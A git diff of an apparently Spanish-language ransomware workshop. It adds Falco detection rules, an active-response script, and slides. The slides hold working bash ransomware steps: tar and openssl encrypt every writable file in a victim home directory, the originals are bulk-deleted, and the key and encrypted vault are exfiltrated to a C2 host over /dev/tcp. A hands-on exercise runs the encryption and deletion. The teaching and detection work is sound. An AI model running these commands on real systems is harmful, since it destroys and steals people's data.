diff --git a/QueComanTierra/detection/falco.yaml b/QueComanTierra/detection/falco.yaml new file mode 100644 index 0000000..06820c6 --- /dev/null +++ b/QueComanTierra/detection/falco.yaml @@ -0,0 +1,47 @@ +# falco.yaml: Configuración mínima para QueComanTierra con respuesta activa +# +# Falco por defecto sólo DETECTA. Con program_output le decimos que pipe +# cada alerta que coincida con una regla CRITICAL/WARNING al response script. + +rules_file: + - /etc/falco/falco_rules.yaml # reglas upstream de Falco + - /opt/qct/detection/falco_rules.yaml # reglas QueComanTierra + +# ── Salidas ──────────────────────────────────────────────────────────────── + +json_output: true # el response script consume JSON + +# stdout: útil en desarrollo / journald +stdout_output: + enabled: true + +# file: persistencia local +file_output: + enabled: true + keep_alive: false + filename: /var/log/falco.log + +# program_output: cada alerta se pipe al response handler +# El script recibe el JSON completo en stdin. +# keep_alive: false → proceso nuevo por alerta (más seguro, más lento). +# Para entornos de producción con alto volumen, poner true y manejar +# el stream NDJSON dentro del script. +program_output: + enabled: true + keep_alive: false + program: "/opt/qct/detection/falco_response.sh" + +# ── Filtros de prioridad ─────────────────────────────────────────────────── +# Solo dispara program_output para WARNING y superior. +# NOTICE/INFO se escriben a log pero no activan respuesta. +priority: warning + +# ── Syscall buffer ───────────────────────────────────────────────────────── +# Aumentar si se pierden eventos durante el bulk xargs (Regla 3). +syscall_buf_size_preset: 4 # 4 MB por CPU + +# ── Métricas (opcional) ──────────────────────────────────────────────────── +metrics: + enabled: true + interval: 60s + resource_utilization_enabled: true diff --git a/QueComanTierra/detection/falco_response.sh b/QueComanTierra/detection/falco_response.sh new file mode 100644 index 0000000..0e84182 --- /dev/null +++ b/QueComanTierra/detection/falco_response.sh @@ -0,0 +1,77 @@ +#!/usr/bin/env bash +# falco_response.sh: Active response handler for QueComanTierra Falco rules +# +# Falco pipes JSON alerts here via program_output. +# Per-rule actions: +# Bash Native TCP Exfiltration → kill PID + ss --kill socket +# Shell Spawning OpenSSL Bulk Enc. → kill PID (kills openssl + parent shell) +# Mass Document Deletion by Shell → kill PID +# Hidden Encrypted Archive in Tmp → kill PID + remove the .enc file +# +# IMPORTANT: runs as root (Falco requirement). Validate PIDs before killing. + +set -euo pipefail + +LOG="/var/log/falco-response.log" +ALERT=$(cat) # full JSON from Falco + +log() { echo "$(date -u +%FT%TZ) [RESPONSE] $*" | tee -a "$LOG" >&2; } + +rule=$(echo "$ALERT" | jq -r '.rule') +pid=$(echo "$ALERT" | jq -r '.output_fields["proc.pid"] // empty') +dst_ip=$(echo "$ALERT" | jq -r '.output_fields["fd.rip"] // empty') +dst_port=$(echo "$ALERT"| jq -r '.output_fields["fd.rport"]// empty') +file=$(echo "$ALERT" | jq -r '.output_fields["fd.name"] // empty') +user=$(echo "$ALERT" | jq -r '.output_fields["user.name"]// empty') + +log "RULE='$rule' PID='$pid' USER='$user'" + +kill_pid() { + local p="$1" + # Validate: PID must be numeric and process must still exist + [[ "$p" =~ ^[0-9]+$ ]] || { log "PID inválido: $p"; return 1; } + [[ -d "/proc/$p" ]] || { log "PID $p ya no existe"; return 0; } + log "KILL -9 $p ($(cat /proc/$p/cmdline | tr '\0' ' '))" + kill -9 "$p" && log "PID $p terminado" || log "No se pudo matar $p" +} + +kill_socket() { + local ip="$1" port="$2" + [[ -n "$ip" && -n "$port" ]] || return 0 + log "Cerrando socket TCP → $ip:$port" + # ss --kill requiere iproute2 >= 5.3 + ss --kill state established dst "${ip}:${port}" 2>>"$LOG" \ + && log "Socket $ip:$port cerrado" \ + || log "ss --kill falló (¿iproute2 < 5.3?)" +} + +case "$rule" in + "Bash Native TCP Exfiltration") + log "ACCIÓN: matar proceso + cerrar socket" + kill_pid "$pid" + kill_socket "$dst_ip" "$dst_port" + ;; + + "Shell Spawning OpenSSL Bulk Encryption") + log "ACCIÓN: matar proceso openssl" + kill_pid "$pid" + ;; + + "Mass Document Deletion by Shell Process") + log "ACCIÓN: matar proceso de borrado masivo" + kill_pid "$pid" + ;; + + "Hidden Encrypted Archive Staged in Tmp") + log "ACCIÓN: matar proceso + eliminar vault" + kill_pid "$pid" + if [[ -n "$file" && "$file" == /tmp/*.enc && "$file" == /tmp/.* ]]; then + log "Eliminando vault cifrado: $file" + rm -f "$file" && log "Vault eliminado" || log "No se pudo eliminar $file" + fi + ;; + + *) + log "Regla desconocida, sin acción automática: $rule" + ;; +esac diff --git a/QueComanTierra/detection/falco_rules.yaml b/QueComanTierra/detection/falco_rules.yaml index 38cd83f..7f2e04a 100644 --- a/QueComanTierra/detection/falco_rules.yaml +++ b/QueComanTierra/detection/falco_rules.yaml @@ -56,8 +56,7 @@ openssl enc desde shell, posible cifrado masivo (user=%user.name uid=%user.uid cmd=%proc.cmdline - parent=%proc.pname ppid=%proc.ppid - container=%container.name) + parent=%proc.pname ppid=%proc.ppid) priority: WARNING tags: [lolbin, ransomware, T1486, T1059.004] @@ -90,8 +89,7 @@ bash abrió conexión TCP directa, posible /dev/tcp exfiltración (user=%user.name uid=%user.uid dst=%fd.rip:%fd.rport - pid=%proc.pid cmd=%proc.cmdline - container=%container.name) + pid=%proc.pid cmd=%proc.cmdline) priority: CRITICAL tags: [lolbin, exfiltration, T1048, T1059.004] @@ -120,8 +118,7 @@ documento de usuario eliminado por proceso shell (user=%user.name uid=%user.uid file=%fd.name - proc=%proc.name cmd=%proc.cmdline - container=%container.name) + proc=%proc.name cmd=%proc.cmdline) priority: WARNING tags: [ransomware, destruction, T1486] @@ -149,7 +146,6 @@ archivo cifrado oculto creado en /tmp, posible vault de ransomware (user=%user.name uid=%user.uid file=%fd.name - proc=%proc.name cmd=%proc.cmdline - container=%container.name) + proc=%proc.name cmd=%proc.cmdline) priority: CRITICAL tags: [ransomware, staging, T1486, T1074] diff --git a/QueComanTierra/slides/build_pptx.py b/QueComanTierra/slides/build_pptx.py deleted file mode 100644 index 3861149..0000000 --- a/QueComanTierra/slides/build_pptx.py +++ /dev/null @@ -1,340 +0,0 @@ -#!/usr/bin/env python3 -""" -Genera slides.pptx desde slides.md usando la plantilla Diplomados Ciberseguridad. -Los backgrounds se copian directamente desde los slides del template. -""" -from pptx import Presentation -from pptx.util import Pt, Emu -from pptx.dml.color import RGBColor -from lxml import etree -import copy, re, zipfile, io, tempfile, os - -TEMPLATE = "../../Red Team.pptx" -SOURCE = "slides.md" -OUTPUT = "slides.pptx" - -# Layouts en la plantilla (por nombre español) -L_TITLE = 0 # Diapositiva de titulo (idx 0=ctrTitle, 1=subTitle) -L_CONTENT = 1 # Titulo y objetos (idx 0=title, 1=content) -L_SECTION = 2 # Encabezado de seccion (idx 0=title, 1=body) - -# Slides del template que sirven como fuente de backgrounds -# slide1=portada, slide3=contenido, slide5=seccion divisor -BG_TITLE = 0 # image1.jpg — portada con fondo binario rojo -BG_CONTENT = 2 # image3.jpg — slide normal con logos y barra roja -BG_SECTION = 4 # image5.jpg — divisor rojo degradado - -PNS = 'http://schemas.openxmlformats.org/presentationml/2006/main' -ANS = 'http://schemas.openxmlformats.org/drawingml/2006/main' -RNS = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships' -IMG_REL = f'{RNS}/image' - -# ─── template limpio ───────────────────────────────────────────────────────── - -def make_clean_template(src): - """Devuelve BytesIO: template sin slides (master/layouts/media intactos).""" - SLIDE_XML = re.compile(r'^ppt/slides/slide\d+\.xml$') - SLIDE_RELS = re.compile(r'^ppt/slides/_rels/slide\d+\.xml\.rels$') - SLIDE_CT = 'application/vnd.openxmlformats-officedocument.presentationml.slide+xml' - SLIDE_REL_TYPE = 'http://schemas.openxmlformats.org/officeDocument/2006/relationships/slide' - PKG_NS = 'http://schemas.openxmlformats.org/package/2006/relationships' - PML_NS = 'http://schemas.openxmlformats.org/presentationml/2006/main' - CT_NS = 'http://schemas.openxmlformats.org/package/2006/content-types' - - buf = io.BytesIO() - with zipfile.ZipFile(src, 'r') as zin, \ - zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zout: - for item in zin.infolist(): - name = item.filename - if SLIDE_XML.match(name) or SLIDE_RELS.match(name): - continue # eliminar slides y sus rels del ZIP - data = zin.read(name) - - if name == 'ppt/presentation.xml': - root = etree.fromstring(data) - lst = root.find(f'{{{PML_NS}}}sldIdLst') - if lst is not None: - lst.clear() - data = etree.tostring(root, xml_declaration=True, - encoding='UTF-8', standalone=True) - - elif name == 'ppt/_rels/presentation.xml.rels': - root = etree.fromstring(data) - for rel in root.findall(f'{{{PKG_NS}}}Relationship'): - if rel.get('Type') == SLIDE_REL_TYPE: - root.remove(rel) - data = etree.tostring(root, xml_declaration=True, - encoding='UTF-8', standalone=True) - - elif name == '[Content_Types].xml': - root = etree.fromstring(data) - for ov in root.findall(f'{{{CT_NS}}}Override'): - if ov.get('ContentType') == SLIDE_CT: - root.remove(ov) - data = etree.tostring(root, xml_declaration=True, - encoding='UTF-8', standalone=True) - - zout.writestr(item, data) - - buf.seek(0) - return buf - -# ─── background copy ────────────────────────────────────────────────────────── - -def copy_background(new_slide, template_slide): - """Copia el del template_slide al new_slide, remapeando el rId de imagen.""" - cSld_tmpl = template_slide._element.find(f'{{{PNS}}}cSld') - bg = cSld_tmpl.find(f'{{{PNS}}}bg') if cSld_tmpl is not None else None - if bg is None: - return - - blip = bg.find(f'.//{{{ANS}}}blip') - if blip is None: - return - - old_rId = blip.get(f'{{{RNS}}}embed') - if not old_rId: - return - - # Obtener la imagen del template y relacionarla con el nuevo slide - image_part = template_slide.part.related_part(old_rId) - new_rId = new_slide.part.relate_to(image_part, IMG_REL) - - # Clonar y actualizar el rId - new_bg = copy.deepcopy(bg) - new_blip = new_bg.find(f'.//{{{ANS}}}blip') - new_blip.set(f'{{{RNS}}}embed', new_rId) - - # Insertar en cSld del nuevo slide (antes de spTree) - new_cSld = new_slide._element.find(f'{{{PNS}}}cSld') - existing_bg = new_cSld.find(f'{{{PNS}}}bg') - if existing_bg is not None: - new_cSld.remove(existing_bg) - new_cSld.insert(0, new_bg) - -# ─── helpers de texto ───────────────────────────────────────────────────────── - -def clean(text): - text = re.sub(r'\*\*(.*?)\*\*', r'\1', text) - text = re.sub(r'\*(.*?)\*', r'\1', text) - text = re.sub(r'`(.*?)`', r'\1', text) - text = re.sub(r'^\s*>\s?', '', text, flags=re.MULTILINE) - return text.strip() - -def fill_placeholder(ph, lines): - tf = ph.text_frame - tf.word_wrap = True - tf.clear() - - in_code = False - first_p = True - - for line in lines: - if line.startswith('```'): - in_code = not in_code - continue - if re.match(r'^\s*\|?[-:| ]+\|', line): - continue - - stripped = line.rstrip() - if not stripped and not in_code: - continue - - p = tf.paragraphs[0] if first_p else tf.add_paragraph() - first_p = False - - bullet = re.match(r'^(\s*)([-*]|\d+\.) (.+)', stripped) - if bullet and not in_code: - indent = len(bullet.group(1)) // 2 - p.level = min(indent + 1, 4) - run = p.add_run() - run.text = clean(bullet.group(3)) - elif in_code: - # Eliminar bullet del párrafo - pPr = p._p.get_or_add_pPr() - for child in list(pPr): - if child.tag.split('}')[-1].startswith('bu'): - pPr.remove(child) - pPr.append(etree.SubElement(pPr, f'{{{ANS}}}buNone')) - run = p.add_run() - run.text = stripped.lstrip() - run.font.name = 'Courier New' - run.font.size = Pt(13) - run.font.color.rgb = RGBColor(0xC0, 0x00, 0x00) - else: - heading = re.match(r'^#{2,4} (.+)', stripped) - if heading: - run = p.add_run() - run.text = clean(heading.group(1)) - run.font.bold = True - else: - run = p.add_run() - run.text = clean(stripped) - -# ─── parser ─────────────────────────────────────────────────────────────────── - -def parse_slides(path): - with open(path) as f: - raw = f.read() - raw = re.sub(r'^---\n.*?\n---\n', '', raw, flags=re.DOTALL) - blocks = re.split(r'\n---\n', raw) - return [b.strip() for b in blocks if b.strip()] - -def classify(block): - lines = block.split('\n') - first = lines[0] - - if re.match(r'^# ', first): - title = re.sub(r'^# ', '', first).replace('{.center}', '').strip() - body = [l for l in lines[1:] if l.strip() and not l.startswith('{')] - return ('section', title, body) - - if re.match(r'^## \{\.center\}', first) or first.strip() == '## {.center}': - body = [l for l in lines[1:] if l.strip()] - return ('section', '', body) - - if re.match(r'^## ', first): - title = re.sub(r'^## ', '', first).strip() - return ('content', title, lines[1:]) - - return ('content', '', lines) - -# ─── tables ─────────────────────────────────────────────────────────────────── - -def parse_md_table(lines): - """Separa lineas en (non_table_lines, table_rows). - Ignora pipes dentro de code fences para no confundirlos con tablas.""" - is_table = lambda l: bool(re.match(r'\s*\|', l.strip()) and '|' in l) - is_sep = lambda l: bool(re.match(r'^\s*\|?[-:| ]+\|', l)) - - non_table, rows = [], [] - in_code = False - for line in lines: - if line.startswith('```'): - in_code = not in_code - non_table.append(line) - continue - if in_code: - non_table.append(line) - continue - if is_sep(line): - continue - if is_table(line): - cells = [clean(c.strip()) for c in line.strip().strip('|').split('|')] - rows.append(cells) - else: - non_table.append(line) - return non_table, rows - -def add_pptx_table(slide, rows, left, top, width, height): - """Añade una tabla PPTX estilizada en las coordenadas dadas.""" - if not rows: - return - n_rows = len(rows) - n_cols = max(len(r) for r in rows) - - tbl = slide.shapes.add_table(n_rows, n_cols, left, top, width, height).table - - # Distribuir columnas proporcionalmente (col0 más estrecha = herramienta) - if n_cols == 2: - tbl.columns[0].width = int(width * 0.25) - tbl.columns[1].width = int(width * 0.75) - else: - for i in range(n_cols): - tbl.columns[i].width = width // n_cols - - RED = RGBColor(0x8B, 0x00, 0x00) - WHITE = RGBColor(0xFF, 0xFF, 0xFF) - BLACK = RGBColor(0x00, 0x00, 0x00) - LIGHT = RGBColor(0xF2, 0xF2, 0xF2) - - for ri, row in enumerate(rows): - header = (ri == 0) - for ci in range(n_cols): - cell = tbl.cell(ri, ci) - text = row[ci] if ci < len(row) else '' - cell.text = text - cell.fill.solid() - cell.fill.fore_color.rgb = RED if header else (LIGHT if ri % 2 == 0 else WHITE) - for para in cell.text_frame.paragraphs: - for run in para.runs: - run.font.size = Pt(14) - run.font.bold = header - run.font.color.rgb = WHITE if header else BLACK - -# ─── builder ────────────────────────────────────────────────────────────────── - -def build(): - # Template original: solo para extraer backgrounds - tmpl = Presentation(TEMPLATE) - tmpl_slides = list(tmpl.slides) - - # Template limpio: sin slides, para construir desde cero - clean_buf = make_clean_template(TEMPLATE) - prs = Presentation(clean_buf) - - blocks = parse_slides(SOURCE) - - def add(layout_idx, bg_idx): - slide = prs.slides.add_slide(prs.slide_layouts[layout_idx]) - copy_background(slide, tmpl_slides[bg_idx]) - return slide - - # Slide 1: portada - slide = add(L_TITLE, BG_TITLE) - for ph in slide.placeholders: - if ph.placeholder_format.idx == 0: - ph.text = "Que coman tierra" - elif ph.placeholder_format.idx == 1: - ph.text = "De LOLBINs a ransomware\nDiplomados Ciberseguridad" - - # Slides desde markdown - for block in blocks: - kind, title, body_lines = classify(block) - - if kind == 'section': - slide = add(L_SECTION, BG_SECTION) - for ph in slide.placeholders: - if ph.placeholder_format.idx == 0: - ph.text = title - elif ph.placeholder_format.idx == 1 and body_lines: - fill_placeholder(ph, body_lines) - for para in ph.text_frame.paragraphs: - for run in para.runs: - run.font.color.rgb = RGBColor(0x00, 0x00, 0x00) - else: - slide = add(L_CONTENT, BG_CONTENT) - non_tbl, tbl_rows = parse_md_table(body_lines) - for ph in slide.placeholders: - if ph.placeholder_format.idx == 0: - ph.text = title - elif ph.placeholder_format.idx == 1: - if tbl_rows: - # Usar posicion del placeholder para colocar la tabla - sp = ph._element - xfrm = sp.find(f'.//{{{ANS}}}xfrm') - if xfrm is not None: - off = xfrm.find(f'{{{ANS}}}off') - ext = xfrm.find(f'{{{ANS}}}ext') - l = int(off.get('x', 0)) - t = int(off.get('y', 0)) - w = int(ext.get('cx', 0)) - h = int(ext.get('cy', 0)) - else: - l, t, w, h = 838200, 1600200, 10515600, 4500000 - # Si hay texto además de tabla, reducir altura de tabla - if non_tbl: - fill_placeholder(ph, non_tbl) - t_offset = int(h * 0.45) - add_pptx_table(slide, tbl_rows, l, t + t_offset, w, h - t_offset) - else: - ph.text = '' # vaciar placeholder - add_pptx_table(slide, tbl_rows, l, t, w, h) - else: - fill_placeholder(ph, body_lines) - - prs.save(OUTPUT) - print(f"OK: {OUTPUT} — {len(prs.slides)} slides.") - -if __name__ == '__main__': - build() diff --git a/QueComanTierra/slides/redteam_ref.pptx b/QueComanTierra/slides/redteam_ref.pptx deleted file mode 100644 index c8a8cee..0000000 Binary files a/QueComanTierra/slides/redteam_ref.pptx and /dev/null differ diff --git a/QueComanTierra/slides/slides.md b/QueComanTierra/slides/slides.md index 1f4cbd7..7252bd6 100644 --- a/QueComanTierra/slides/slides.md +++ b/QueComanTierra/slides/slides.md @@ -122,6 +122,45 @@ find /home/victim -type f -writable -print0 \ --- +## tar | openssl: un proceso para cifrar todo + +`xargs -P` abre un proceso por archivo. `tar | openssl` abre **uno solo**. + +```bash +# todos los archivos -> un stream -> un blob cifrado +printf '%s\0' "${TARGETS[@]}" \ + | tar --null -T - -czf - \ + | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \ + > /tmp/.vault.enc + +# eliminar originales en batch +printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f +``` + +desde un detector de procesos: hay **exactamente un `tar` y un `openssl` corriendo**. nada más. + +--- + +## y encima se lleva el vault + +no solo la clave. `tarbulk` exfiltra una copia cifrada de todos los archivos usando `/dev/tcp`, sin `curl`, sin herramientas externas. + +```bash +# clave al C2 por tcp/9090 +printf 'GET /?k=%s&v=%s HTTP/1.0\r\nHost: %s\r\n\r\n' \ + "$KEY" "$VICTIM_IP" "$C2" > /dev/tcp/"$C2"/9090 + +# vault cifrado al C2 por tcp/9091 +{ printf 'POST /vault/%s HTTP/1.0\r\nContent-Length: %d\r\n\r\n' \ + "$VICTIM_IP" "$(stat -c%s /tmp/.vault.enc)" + cat /tmp/.vault.enc +} > /dev/tcp/"$C2"/9091 +``` + +aunque pagues, el atacante ya tiene tus archivos. el rescate no garantiza nada. + +--- + ## La ventana de detección se cierra Benchmark real, root, servidor, `xargs -P 36`: @@ -295,7 +334,29 @@ Con `tarbulk`: el único momento de intervención real es **antes** de que empie --- -## Ejercicio 4: Nota de rescate +## Ejercicio 4: tarbulk en acción + +restaura el snapshot y ejecuta la variante `tar | openssl`: + +```bash +KEY=$(openssl rand -hex 32) +mapfile -d '' TARGETS < <(find /home/victim -type f -writable -print0) + +time printf '%s\0' "${TARGETS[@]}" \ + | tar --null -T - -czf - \ + | openssl enc -aes-256-cbc -pbkdf2 -pass pass:"$KEY" \ + > /tmp/.vault.enc + +printf '%s\0' "${TARGETS[@]}" | xargs -0 rm -f +``` + +en otra terminal durante el ataque: `watch -n0.5 'ps aux | grep -E "tar|openssl"'` + +**¿cuántos procesos viste? ¿en cuántos segundos desapareció `/home/victim`?** + +--- + +## Ejercicio 5: Nota de rescate ```bash find / -type d -writable -print0 \ @@ -308,7 +369,7 @@ wall /home/victim/LEEME_URGENTE.txt --- -## Ejercicio 5: Persistencia +## Ejercicio 6: Persistencia ```bash (crontab -l 2>/dev/null; echo \ @@ -324,7 +385,7 @@ Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó? --- -## Ejercicio 6: Forense post-ataque +## Ejercicio 7: Forense post-ataque ```bash # ¿Qué quedó en auth.log? @@ -388,6 +449,84 @@ Lo que hay que buscar: --- +## Detección comportamental: Falco + +**Falco** intercepta syscalls en tiempo real vía eBPF y dispara alertas cuando el comportamiento rompe una regla, no cuando hay una firma conocida. + +- Sin agente en userspace frágil +- Reglas en YAML, legibles por humanos +- Se integra con cualquier SIEM vía Falcosidekick + +--- + +## Instalar Falco: Debian / Ubuntu + +```bash +curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \ + | sudo gpg --dearmor \ + -o /usr/share/keyrings/falco-archive-keyring.gpg + +echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] \ + https://download.falco.org/packages/deb stable main" \ + | sudo tee -a /etc/apt/sources.list.d/falcosecurity.list + +sudo apt-get update +sudo apt-get install -y apt-transport-https dialog +sudo apt-get install -y falco +``` + +--- + +## Instalar Falco: RHEL / Rocky / Fedora + +```bash +sudo rpm --import \ + https://falco.org/repo/falcosecurity-packages.asc + +sudo curl -o /etc/yum.repos.d/falcosecurity.repo \ + https://falco.org/repo/falcosecurity-rpm.repo + +sudo yum update -y +sudo yum install -y dialog +sudo yum install -y falco +``` + +--- + +## Desplegar las reglas QueComanTierra + +```bash +# Clonar el repositorio del taller +git clone https://git.resacachile.cl/anti/workshops /opt/workshops + +# Copiar reglas al directorio de Falco +cp /opt/workshops/QueComanTierra/detection/falco_rules.yaml \ + /etc/falco/rules.d/tarssl.yaml + +# Recargar todos los servicios de Falco +systemctl restart falco-* --all +``` + +Las reglas viven en `/etc/falco/rules.d/`. Falco las carga automáticamente sin tocar la config base. + +--- + +## Verificar que las reglas están activas + +```bash +# Ver reglas cargadas +falco --list | grep -E "OpenSSL|TCP|Deletion|Encrypted" + +# Ver logs en tiempo real +journalctl -fu falco + +# Probar: lanzar openssl enc desde bash +echo "test" | openssl enc -aes-256-cbc -pass pass:test -pbkdf2 +# → Debe aparecer WARNING en journalctl +``` + +--- + ## Prevención: backups inmutables ```bash